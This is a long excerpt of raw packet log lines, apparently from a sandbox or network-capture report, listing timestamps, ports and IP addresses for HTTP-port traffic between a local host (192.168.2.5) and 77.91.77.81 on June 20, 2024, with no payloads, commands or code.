Jun 20, 2024 15:38:10.470607042 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470623970 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470654011 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470665932 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470691919 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470706940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470721960 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470741034 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470760107 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470777988 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470803976 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470818996 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470819950 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.470843077 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.470855951 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471116066 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471131086 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471164942 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471180916 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471263885 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471278906 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471295118 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471309900 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471311092 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471318960 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471327066 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471338987 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471352100 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471364975 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471621990 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471637011 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471653938 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471676111 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471690893 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471715927 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471731901 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471745968 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471760035 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471761942 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471780062 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471786976 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471811056 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471827030 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471868038 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471882105 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471896887 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471911907 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471914053 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471920967 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471936941 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471939087 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471946001 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.471956968 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.471985102 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472002983 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472368002 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472383022 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472398996 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472418070 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472438097 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472438097 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472460032 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472476006 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472495079 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472511053 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472515106 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472524881 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472537041 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472539902 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472553968 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472582102 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472595930 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472649097 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472649097 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472664118 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472680092 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472690105 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472696066 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472711086 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472726107 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472740889 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472759008 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.472791910 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472791910 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472832918 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472834110 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472834110 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472834110 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.472834110 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.473134995 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.473154068 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.473169088 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.473184109 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.473187923 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.473200083 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.473200083 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.473201990 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.473225117 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.473229885 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.473247051 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.473248959 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.473261118 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.473274946 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.473277092 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.473285913 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.473294020 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.473303080 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.473310947 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.473315954 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.473326921 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.473328114 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.473345041 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.473352909 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.473362923 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.473368883 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.473371029 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.473407030 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.474488020 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.474503994 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.474519968 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.474533081 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.474539995 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.474561930 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.474561930 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.474592924 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.515368938 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.515383959 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.515409946 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.515440941 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.515455961 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.515471935 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.515480042 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.515486956 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.515503883 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.515517950 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.515537024 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.515537024 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.515577078 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.515604973 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527121067 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527137041 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527153015 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527188063 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527223110 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527232885 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527249098 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527265072 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527286053 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527313948 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527313948 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527388096 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527404070 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527420044 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527436018 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527436018 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527456999 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527486086 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527503014 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527518988 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527534008 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527549982 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527575016 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527575016 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527575016 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527592897 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527609110 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527621984 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527647018 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527647018 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527673960 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527688980 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527704954 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527731895 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527746916 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.527757883 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.527795076 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.557065010 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.557080984 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.557096958 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.557112932 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.557127953 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.557142973 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.557158947 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.557169914 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.557221889 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558300018 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558315992 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558331013 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558346033 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558362007 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558367014 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558377028 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558391094 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558393002 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558408022 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558422089 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558423042 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558424950 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558449030 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558474064 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558474064 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558523893 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558538914 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558553934 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558568954 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558573008 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558595896 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558595896 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558614016 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558656931 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558672905 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558687925 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558702946 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558713913 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558713913 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558720112 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558729887 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558764935 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558764935 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558940887 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558955908 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558971882 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.558984995 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.558989048 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559005022 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559005022 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559016943 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559020996 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559031963 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559036970 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559047937 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559055090 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559060097 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559072018 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559072971 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559087992 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559087992 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559113026 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559123039 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559362888 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559379101 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559392929 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559412003 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559423923 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559427023 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559423923 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559437990 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559442997 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559453011 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559462070 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559463978 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559478045 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559494019 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559500933 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559509993 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559530973 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559546947 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559556961 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559598923 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559617043 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559633017 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559643984 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559647083 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559654951 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559664965 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559672117 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559683084 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559695959 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559710979 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559734106 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559827089 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559842110 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559858084 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559869051 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559873104 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559890032 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559906960 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559906960 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559928894 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559941053 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.559982061 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.559995890 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560012102 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560028076 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560029030 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560040951 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560045004 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560051918 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560061932 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560070038 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560077906 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560082912 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560103893 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560108900 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560113907 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560127974 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560148954 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560167074 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560394049 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560408115 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560424089 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560441971 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560462952 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560553074 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560568094 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560583115 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560596943 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560600996 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560616970 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560617924 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560636044 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560643911 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560652971 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560658932 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560691118 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560811996 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560827017 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560842037 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560854912 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560859919 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560866117 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560877085 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560887098 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560887098 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560894012 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560909986 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560916901 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560925961 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560930014 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560942888 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560946941 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560960054 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.560960054 CEST	49708	80	192.168.2.5	77.91.77.81
